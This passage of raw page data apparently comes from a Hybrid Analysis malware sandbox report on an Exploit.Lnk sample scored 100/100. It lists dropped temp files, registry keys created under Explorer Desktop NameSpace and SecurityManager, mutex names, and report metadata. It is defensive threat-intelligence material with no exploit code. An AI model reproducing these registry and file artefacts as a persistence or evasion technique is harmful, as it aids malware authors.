":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\_tcl_data\\msgs\\it.msg","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\_tcl_data\\msgs\\it_ch.msg","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\_tcl_data\\msgs\\ja.msg","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\_tcl_data\\msgs\\kl.msg","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\_tcl_data\\msgs\\kl_gl.msg","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\_tcl_data\\msgs\\ko.msg","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\_tcl_data\\msgs\\ko_kr.msg","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\_tcl_data\\msgs\\kok.msg","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\_tcl_data\\msgs\\kok_in.msg","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\_tcl_data\\msgs\\kw.msg","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\_tcl_data\\msgs\\kw_gb.msg","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\_tcl_data\\msgs\\lt.msg","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\_tcl_data\\msgs\\lv.msg","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\_tcl_data\\msgs\\mk.msg","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\_MEI74202\\_tcl_data\\msgs\\mr.msg","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\gen_py\\3.12\\__init__.py","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"path":"%TEMP%\\gen_py\\3.12\\dicts.dat","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\DESKTOP\\NAMESPACE\\\\","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\DESKTOP\\NAMESPACE\\\\","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\DESKTOP\\NAMESPACE_36354489\\\\","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\DESKTOP\\NAMESPACE\\DELEGATEFOLDERS\\\\","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\DESKTOP\\NAMESPACE_36354489\\DELEGATEFOLDERS\\\\","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SECURITYMANAGER\\CAPAUTHZ\\HASREPAIRED\\","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SECURITYMANAGER\\CAPAUTHZ\\HASREPAIRED\\VOLATILECHILDTEST\\","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"key":"HKLMHKLM\\SOFTWARE\\","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SECURITYMANAGER\\","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SECURITYMANAGER\\CAPAUTHZ\\","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4308:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"}]},{"name":"SM0:4308:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3320:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"Local\\SM0:3320:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2964:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"Local\\SM0:2964:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1384:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1384:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1384:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\eed3bd3a-a1ad-4e99-987b-d7cb3fcfa7f0 - S-1-5-21-1271187874-1938232448-3812392235-1001","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"Local\\SM0:1384:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"eed3bd3a-a1ad-4e99-987b-d7cb3fcfa7f0 - S-1-5-21-1271187874-1938232448-3812392235-1001","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"SM0:1384:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"Local\\SM0:1384:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6496:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6496:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6496:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"Local\\SM0:6496:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"SM0:6496:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"name":"Local\\SM0:6496:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]}]}},"report_ids":{"sandbox_job_ids":["6a27f57c92808adf8602c53c","6a293f8a74c31238f70d6a67"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Exploit.Lnk Sample 45171981ac23… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 45171981ac23…. Malware family: Exploit.Lnk. Threat score 100/100. 10/26 AV engines flagged this file. 15 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/45171981ac23dcb7e90dd9a3ce07415720be92815bcd2ccfe51e716d736eab3e"}],["$","meta","4",{"property":"og:title","content":"Malicious Exploit.Lnk Sample 45171981ac23… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 45171981ac23…. Malware family: Exploit.Lnk. Threat score 100/100. 10/26 AV engines flagged this file. 15 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/45171981ac23dcb7e90dd9a3ce07415720be92815bcd2ccfe51e716d736eab3e"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Exploit.Lnk Sample 45171981ac23… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 45171981ac23…. Malware family: Exploit.Lnk. Threat score 100/100. 10/26 AV engines flagged this file. 15 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L51","11",{}]]